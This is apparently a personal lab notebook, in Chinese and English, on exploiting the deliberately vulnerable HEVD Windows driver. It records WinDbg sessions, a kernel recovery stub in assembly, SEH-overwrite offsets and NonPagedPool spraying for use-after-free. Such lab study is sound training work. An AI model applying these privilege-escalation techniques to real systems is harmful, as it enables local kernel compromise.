Windows Exploit Development
Saved Return Pointer Overflows
ROP Return Oriented Programming
learn by participating 实践中学习!
Buffer Overflows: a memory location receives more data than it was meant to.
Stack Overflows: a buffer overflow that writes beyond the end of stack.
overwrite the EIP 控制程序指针
shellcode
hijack the execution flow and point it to an area of memory that we control.
SEH
egg hunters
栈溢出覆盖返回地址
unicode 编码
DEP 数据执行保护
ROP-Chain
堆喷射
MDL
表示一个内存描述符列表结构,它描述那些已被锁定的用户或内核模式内存。
MMPTE用来表示内存管理的页表项(PTE),它被CPU的内存管理单元(MMU)用来转换虚拟地址(VA)到物理地址(PA)。
Heap Feng Shui
Heap Spraying
堆喷到ROP链首
ROP gadget
ASLR
leak info
栈溢出
SMEP & SMAP
任意地址写
Stack spray
GS 栈溢出
类型混淆
Spray 喷射
池溢出
GDI Handles Process Hacker
桌面堆
内核漏洞入门经典靶场——HEVD
用户态堆
前端后端管理器、分配释放算法以及新生的安全缓解措施和主流利用手法
Windows 8系统中的用户堆和内核池
堆风水的设计策略以及手法
KReClassEx
.load F:\cpp\KReClassEx\x64\Release\KDbgEngExt.dll
!runserver F:\cpp\KReClassEx\KDbgEngExt\config.json
.load F:\cpp\KReClassEx\x64\Debug\KDbgEngExt.dll
.unload KDbgEngExt.dll
!runserver F:\cpp\KReClassEx\KDbgEngExt\config.json
Stack Overflow
拷贝前
A88为KernelBuffer最大地址,A90 应该为Status栈变量。
此时的栈情况
kd> knL
# ChildEBP RetAddr
00 8a944ab0 973f4866 HEVD!TriggerBufferOverflowStack+0x10f
01 8a944ad4 973f506c HEVD!BufferOverflowStackIoctlHandler+0x76
02 8a944afc 83e4a593 HEVD!IrpDeviceIoCtlHandler+0xbc
03 8a944b14 8403e99f nt!IofCallDriver+0x63
04 8a944b34 84041b71 nt!IopSynchronousServiceTail+0x1f8
05 8a944bd0 840883f4 nt!IopXxxControlFile+0x6aa
06 8a944c04 83e511ea nt!NtDeviceIoControlFile+0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
07 8a944c04 77f070b4 (T) nt!KiFastCallEntry+0x12a
WARNING: Frame IP not in any known module. Following frames may be wrong.
<Intermediate frames may have been skipped due to lack of complete unwind>
08 014cfd88 7704a671 (T) 0x77f070b4
09 014cfdb4 01393cd3 0x7704a671
0a 014cfe08 77053c45 0x1393cd3
0b 014cfe14 77f237f5 0x77053c45
0c 014cfe54 77f237c8 0x77f237f5
0d 014cfe6c 00000000 0x77f237c8
拷贝后会覆写0x24个字节。
0x24 也就是9个栈变量的值。
经过调试发现此处覆写的返回地址不正确,导致利用失败。
修正RET_OVERWRITE 为 12.
bu HEVD!TriggerBufferOverflowStack
成果修正后来到了用户层代码。
!
这里返回的时候返回地址不对。
!
修正栈的值为0x20
最终提权成果。
!
系统版本如下
winark
!
条件竞争 单核心不容易复现。
Bypassing SMEP is also interesting as CR4 modification is protected by HyperGuard. We’ll do it using PTE bit-flipping and see how to deal with a lesser-known caveat of this method.
Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR
__declspec(safebuffers)
替换SEH handler,拷贝内存导致异常。
handler 是通过push 压入栈的。
计算相关偏移
kd> ? KernelBuffer
Evaluate expression: -2094729068 = 8324f894
bu HEVD!TriggerBufferOverflowStackGS
要覆盖的SEH Handler所在地址。
![
kd> ? 08324FAA4-8324f894
Evaluate expression: 528 = 00000210
执行完HEVD提供的利用后,出现了Bugcheck。
不可执行内存错误
再次调试查看传进来的内存
在0x13138A0下断。
bp 0x13138A0
kd> knL
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 8f14f104 83e87622 0x12338a0
01 8f14f128 83e875f4 nt!ExecuteHandler2+0x26
02 8f14f14c 83ebb3b5 nt!ExecuteHandler+0x24
03 8f14f1e0 83ec405c nt!RtlDispatchException+0xb6
04 8f14f774 83e4ddd6 nt!KiDispatchException+0x17c
05 8f14f7dc 83e4dd8a nt!CommonDispatchException+0x4a
06 8f14f860 973b8bc8 nt!KiExceptionExit+0x192
07 8f14fab0 973b8a76 HEVD!TriggerBufferOverflowStackGS+0x138
08 8f14fad4 973b90a5 HEVD!BufferOverflowStackGSIoctlHandler+0x76
09 8f14fafc 83e46593 HEVD!IrpDeviceIoCtlHandler+0xf5
edi和ebx 为什么要修?怎么修的?怎么确定值的?
因为handler 函数需要传参,修改了寄存器?
; Kernel Recovery Stub
add esp, 0x798 ; Offset of IRP on stack
mov edi, [esp] ; Restore the pointer to IRP
add esp, 0x8 ; Offset of DbgPrint string
mov ebx, [esp] ; Restore the DbgPrint string
add esp, 0x234 ; Target frame to return
xor eax, eax ; Set NTSTATUS SUCCEESS
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
调试下断
bu HEVD!BufferOverflowStackGSIoctlHandler
kd> ? Irp
Evaluate expression: -1734853924 = 98983adc
kd> r
eax=00000000 ebx=00000000 ecx=00000218 edx=0000004d esi=866ada10 edi=87bc4ef0
eip=909dabb4 esp=98983874 ebp=98983ab0 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000296
HEVD!TriggerBufferOverflowStackGS+0x124:
909dabb4 8b450c mov eax,dword ptr [ebp+0Ch] ss:0010:98983abc=00000218
kd> dd UserBuffer L1
98983ab8 00080dec
kd> dd 00080dec+210
00080ffc 001b38a0 ???????? ???????? ????????
0008100c ???????? ???????? ???????? ????????
0008101c ???????? ???????? ???????? ????????
0008102c ???????? ???????? ???????? ????????
0008103c ???????? ???????? ???????? ????????
0008104c ???????? ???????? ???????? ????????
0008105c ???????? ???????? ???????? ????????
0008106c ???????? ???????? ???????? ????????
kd> bp 001b38a0
kd> g
Breakpoint 1 hit
001b38a0 55 push ebp
kd> r
eax=00000000 ebx=00000000 ecx=001b38a0 edx=83ec3636 esi=00000000 edi=00000000
eip=001b38a0 esp=98983108 ebp=98983128 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
001b38a0 55 push ebp
kd> r
eax=00000000 ebx=41414141 ecx=001b38a0 edx=83ec3636 esi=00000000 edi=00000000
eip=001b38f2 esp=98983ad0 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
001b38f2 c20800 ret 8
返回地址应该为90bdaa76
,也就是handler 处理完后esp应该为a47d1ab0
# ChildEBP RetAddr
00 a47d1ab0 90bdaa76 HEVD!TriggerBufferOverflowStackGS+0x39 [F:\github\HackSysExtremeVulnerableDriver\Driver\HEVD\Windows\BufferOverflowStackGS.c @ 72]
01 a47d1ad4 90bdb0a5 HEVD!BufferOverflowStackGSIoctlHandler+0x76 [F:\github\HackSysExtremeVulnerableDriver\Driver\HEVD\Windows\BufferOverflowStackGS.c @ 145]
02 a47d1afc 83e88593 HEVD!IrpDeviceIoCtlHandler+0xf5 [F:\github\HackSysExtremeVulnerableDriver\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 283]
03 a47d1b14 8407c99f nt!IofCallDriver+0x63
04 a47d1b34 8407fb71 nt!IopSynchronousServiceTail+0x1f8
05 a47d1bd0 840c63f4 nt!IopXxxControlFile+0x6aa
06 a47d1c04 83e8f1ea nt!NtDeviceIoControlFile+0x2a
通过对esp进行内存查看,可知应该+0x9AC
修正测试一下。
弱者道之用,柔弱胜刚强。
SET_OF_INVALID_CONTEXT
This bug check occurs when some routine attempts to set the stack pointer in the trap frame to a lower value than the current stack pointer value.
bu HEVD!TriggerBufferOverflowStackGS
根据handler的汇编进一步调整esp的值。
因此先修栈,再修局部变量。
目前已经能正确回到TriggerBufferOverflowStackGS的上层调用。
bu HEVD!BufferOverflowStackGSIoctlHandler
依托考昔片
洛索洛芬纳贴剂
We can simply force memcpy
to segfault by letting it continue copying the source buffer all the way to unmapped memory.
The DRIVER_OVERRAN_STACK_BUFFER bug check has a value of 0x000000F7. This indicates that a driver has overrun a stack-based buffer.
This way we redirect the execution to our payload (our shellcode), which first elevates our privileges (in this case, as it's a local kernel EoP exploit), then returns to the parent function (the function that called the function we are exploiting - the parent in the call stack/call tree), without ever running the stack cookie-checking routine.
4 bytes of the stack cookie, 12 bytes of other 3 DWORDs that we don't care about (in the payload referred to as junk) and then finally 4 bytes of the SEH handler. 512 + 4 + 12 + 4 = 532. This is the exact number of bytes that need to be written to the stack for the SEH handler pointer to be overwritten with a value we control.
Finally, to trigger an access violation, we adjust the buffer size parameter sent encapsulated in the IRP, to exceed the size of our payload (so it must be bigger than 532, e.g. 536).
EOP Elevation of Privileges
PageSize is 0x1000 (4096). MemoryAddress is the pointer to the special page we are going to allocate our stack-smashing payload (528 bytes of junk, 4 bytes overwriting the SEH handler pointer, pointing at our shellcode, located at the page's tail, starting at 3565-th byte). SuitableMemoryForbuffer is the pointer we are going to pass to HEVD as the UserBuffer. It will point at the 3565-th byte of the 4096-byte page allocated at MemoryAddress. EopPayload is another pointer, another location in user mode, containing our shellcode (so the shellcode is in a separate user mode buffer than the special page we are allocating for the stack-smashing payload):
kd> dds a186f7f0
ReadVirtual: a186f7f0 not properly sign extended
a186f7f0 00000000
a186f7f4 83ed3c61 nt!KeUpdateSystemTimeAssist+0x5d
a186f7f8 d3eff100
a186f7fc 000000d1
a186f800 a186fab0
a186f804 96fedbb7 HEVD!TriggerBufferOverflowStackGS+0x127 [F:\github\HackSysExtremeVulnerableDriver\Driver\HEVD\Windows\BufferOverflowStackGS.c @ 108]
a186f808 badb0d00
a186f80c 00000000
a186f810 00000000
a186f814 00000000
a186f818 00000023
a186f81c 00000023
a186f820 00000000
a186f824 00000001
a186f828 002c1004
a186f82c 00000000
a186f830 a186faa0
a186f834 00000030
a186f838 a186faa8
a186f83c 002c1000
a186f840 00000000
a186f844 a186f860
a186f848 00000000
a186f84c 83e8d7f3 nt!memcpy+0x33
a186f850 00000008
a186f854 00010216
a186f858 88264268
a186f85c 881bbbf8
a186f860 a186fab0
a186f864 96fedbc8 HEVD!TriggerBufferOverflowStackGS+0x138 [F:\github\HackSysExtremeVulnerableDriver\Driver\HEVD\Windows\BufferOverflowStackGS.c @ 108]
a186f868 a186f894
a186f86c 002c0dec
......
a186fa94 41414141
a186fa98 42424242
a186fa9c 43434343
a186faa0 44444444
a186faa4 01373890
a186faa8 f406e31a
a186faac 00000000
a186fab0 a186fad4
a186fab4 96feda76 HEVD!BufferOverflowStackGSIoctlHandler+0x76
a186fab8 002c0dec
a186fabc 00000218
a186fac0 00000001
a186fac4 c0000001
a186fac8 00000218
a186facc 00000000
a186fad0 002c0dec
a186fad4 a186fafc
返回地址选择HEVD!BufferOverflowStackGSIoctlHandler+0x76
进入调用之前
kd> r
eax=883c0f48 ebx=00000000 ecx=00000218 edx=000f0dec esi=87112dd0 edi=882ac4f8
eip=97feba69 esp=934f2ac0 ebp=934f2ad4 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
HEVD!BufferOverflowStackGSIoctlHandler+0x69:
97feba69 8b55f4 mov edx,dword ptr [ebp-0Ch] ss:0010:934f2ac8=00000218
kd> r
eax=000f0dec ebx=00000000 ecx=00000218 edx=00000218 esi=87112dd0 edi=882ac4f8
eip=97feba71 esp=934f2ab8 ebp=934f2ad4 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
HEVD!BufferOverflowStackGSIoctlHandler+0x71:
97feba71 e81a000000 call HEVD!TriggerBufferOverflowStackGS (97feba90)
kd> r
eax=00000000 ebx=00000000 ecx=01313890 edx=83ebb636 esi=00000000 edi=00000000
eip=97feba76 esp=934f2ac0 ebp=934f2ad4 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
HEVD!BufferOverflowStackGSIoctlHandler+0x76:
97feba76 8945f0 mov dword ptr [ebp-10h],eax ss:0010:934f2ac4=c0000001
经过对比,需要修复的寄存器有esi和edi。
esi=88486490 edi=882fe038
kd> r esp
esp=960b70f8
使用KReClassEx很快可以定位到
修改shellcode
测试
bu HEVD!TriggerBufferOverflowStackGS
Enjoy it! 🙂
NonPagedPool Use After Free
adjacent 相邻
stale object pointer 过时对象指针
控制堆块布局
https://fuzzysecurity.com/tutorials/expDev/20.html
https://fuzzysecurity.com/tutorials/expDev/19.html
https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/
https://h0mbre.github.io/HEVD_Pool_Overflow_32bit/#
https://h0mbre.github.io/page5/
https://mdanilor.github.io/posts/hevd-2/
UseUaFObjectNonPagedPoolIoctlHandler
FreeUaFObjectNonPagedPool
AllocateFakeObject
Derandomize the Non-Paged Pool
https://rootkits.xyz/blog/2018/04/kernel-use-after-free/
Allocating the UAF Object in the Pool
Our real allocation size in the pool is 0x60 bytes.
然后有一个全局变量保存了该指针
kd> dd g_UseAfterFreeObjectNonPagedPool L1
8ae64014 8862be88
即使是释放内存池后,该全局变量仍然持有该野指针。
Allocating a Fake Object
AllocateFakeObjectNonPagedPool 这个函数能构造一个假的对象,用于控制里面的内容。
可以看到构造的内容如下
Executing UAF Object Callback
UseUaFObjectNonPagedPool 提供了释放后利用的条件。
但是现在条件还不够,这个回调地址无法达到预期的值。
kd> u 0x8862BDC8
ReadVirtual: 8862bdc8 not properly sign extended
8862bdc8 48 dec eax
ReadVirtual: 8862bdd8 not properly sign extended
8862bdc9 bc628888be mov esp,0BE888862h
ReadVirtual: 8862bdd9 not properly sign extended
8862bdce 628800be6288 bound ecx,qword ptr [eax-779D4200h]
ReadVirtual: 8862bdde not properly sign extended
现在指向的还是任意代码,我们期望释放后的地址能填充为我们的假对象,也就是能使函数指针回调能指向shellcode。
Spraying the Non-Paged Pool
这个池对象是0x60字节大小,在这里HEVD的例子使用了IoCompletionReserve对象。
去非分页池随机化
分配连续对象
制造holes
Windows内核池喷射
内核池喷射是一项使池中分配位置可预测的艺术。
NonPaged Pool
首先通过大量分配该对象使得池非随机化
可以在NonPagedPool(非分页池)中分配ReservedObjects或Semaphore
大量地分配这个对象使我们可以保证Lookaside和ListHead列表已经用尽,从而保证后面所做的每个分配都是使用一个新的页面。
池和句柄列表之间存在一种相关性
在彼此相邻的块上调用CloseHandle来创造一定大小的间隙
使用NtQuerySystemInformation函数可以获取句柄的内核对象地址。
我们不能产生任意大小的空隙,因为这取决于所选择的喷射对象的大小。
UAF需要重新申请到相同的内存块并覆盖成恶意代码,而内核池中可能会有许多空间的内存块,如果释放的内存块刚好和其他空闲的内存块相邻,系统就会将这两个内存块合并,那么再申请内存时, 无法保证刚好用到我们释放的那个内存块。
池喷射需要找到大小合适的内核对象
kd> !object \ObjectTypes
Object: 8a205940 Type: (86543780) Directory
ObjectHeader: 8a205928 (new version)
HandleCount: 0 PointerCount: 44
Directory Object: 8a205df0 Name: ObjectTypes
Hash Address Type Name
---- ------- ---- ----
00 86607f78 Type TpWorkerFactory
86543780 Type Directory
01 86603248 Type Mutant
865ecdb0 Type Thread
03 871c48c0 Type FilterCommunicationPort
04 86604eb0 Type TmTx
// ......
86604f78 Type TmTm
31 865ecc20 Type IoCompletionReserve
32 866072c0 Type Callback
33 872d8a70 Type FilterConnectionPort
34 8660b268 Type Semaphore
查看关于IoCompletionReserve对象类型的信息
kd> dt nt!_OBJECT_TYPE 865ecc20
+0x000 TypeList : _LIST_ENTRY [ 0x865ecc20 - 0x865ecc20 ]
+0x008 Name : _UNICODE_STRING "IoCompletionReserve"
+0x010 DefaultObject : (null)
+0x014 Index : 0xa ''
+0x018 TotalNumberOfObjects : 0x30d5
+0x01c TotalNumberOfHandles : 0x30d5
+0x020 HighWaterNumberOfObjects : 0x3a99
+0x024 HighWaterNumberOfHandles : 0x3a99
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x6f436f49
+0x080 CallbackList : _LIST_ENTRY [ 0x865ecca0 - 0x865ecca0 ]
kd> dt nt!_OBJECT_TYPE_INITIALIZER 865ecc20+28
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0x2 ''
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y1
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y0
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y0
+0x004 ObjectTypeCode : 0
+0x008 InvalidAttributes : 0xb0
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0xf0003
+0x020 RetainAccess : 0
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x5c
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : (null)
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : (null)
+0x040 ParseProcedure : (null)
+0x044 SecurityProcedure : 0x8406e5b6 long nt!SeDefaultObjectMethod+0
+0x048 QueryNameProcedure : (null)
+0x04c OkayToCloseProcedure : (null)
可以看到此对象被分配给的池类型为非分页池。
kd> !process $@proc
PROCESS 883e8830 SessionId: 1 Cid: 0e68 Peb: 7ffdf000 ParentCid: 0de8
DirBase: 3f359440 ObjectTable: 980fe3e0 HandleCount: 12521.
Image: HackSysEVDExploit.exe
VadRoot 880b6668 Vads 52 Clone 0 Private 127. Modified 0. Locked 0.
DeviceMap 91435820
Token 8fe11be8
ElapsedTime 00:15:04.100
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 176188
QuotaPoolUsage[NonPagedPool] 3120
Working Set Sizes (now,min,max) (681, 50, 345) (2724KB, 200KB, 1380KB)
PeakWorkingSetSize 681
VirtualSize 26 Mb
PeakVirtualSize 26 Mb
PageFaultCount 694
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 158
THREAD 88472128 Cid 0e68.0e6c Teb: 7ffde000 Win32Thread: fd3e14f8 WAIT: (UserRequest) UserMode Non-Alertable
8847cd48 Thread
THREAD 8847cd48 Cid 0e68.0e70 Teb: 7ffdd000 Win32Thread: 00000000 RUNNING on processor 0
查看句柄信息
kd> !handle 80
PROCESS 883e8830 SessionId: 1 Cid: 0e68 Peb: 7ffdf000 ParentCid: 0de8
DirBase: 3f359440 ObjectTable: 980fe3e0 HandleCount: 12521.
Image: HackSysEVDExploit.exe
Handle table at 980fe3e0 with 12521 entries in use
0080: Object: 86ce3f50 GrantedAccess: 000f0003 Entry: 99174100
Object: 86ce3f50 Type: (865ecc20) IoCompletionReserve
ObjectHeader: 86ce3f38 (new version)
HandleCount: 1 PointerCount: 1
kd> !pool 86ce3f50
Pool page 86ce3f50 region is Unknown
86ce3000 size: 40 previous size: 0 (Allocated) Even (Protected)
86ce3040 size: 18 previous size: 40 (Free) ....
86ce3058 size: 40 previous size: 18 (Allocated) Even (Protected)
// ......
86ce3ee0 size: 40 previous size: 40 (Free) SeTl
*86ce3f20 size: 60 previous size: 40 (Allocated) *IoCo (Protected)
Pooltag IoCo : Io completion, Binary : nt!io
86ce3f80 size: 40 previous size: 60 (Allocated) Even (Protected)
86ce3fc0 size: 40 previous size: 40 (Allocated) Even (Protected)
可以看到大小为0x60
也可以通过 nt!_POOL_HEADER 验证大小
BlockSize在32位系统中是实际大小<<3,64位是<<4
kd> dt nt!_POOL_HEADER 86ce3f20
+0x000 PreviousSize : 0y000001000 (0x8)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001100 (0xc)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x40c0008
+0x004 PoolTag : 0xef436f49
+0x004 AllocatorBackTraceIndex : 0x6f49
+0x006 PoolTagHash : 0xef43
kd> ? 0xc<<3
Evaluate expression: 96 = 00000060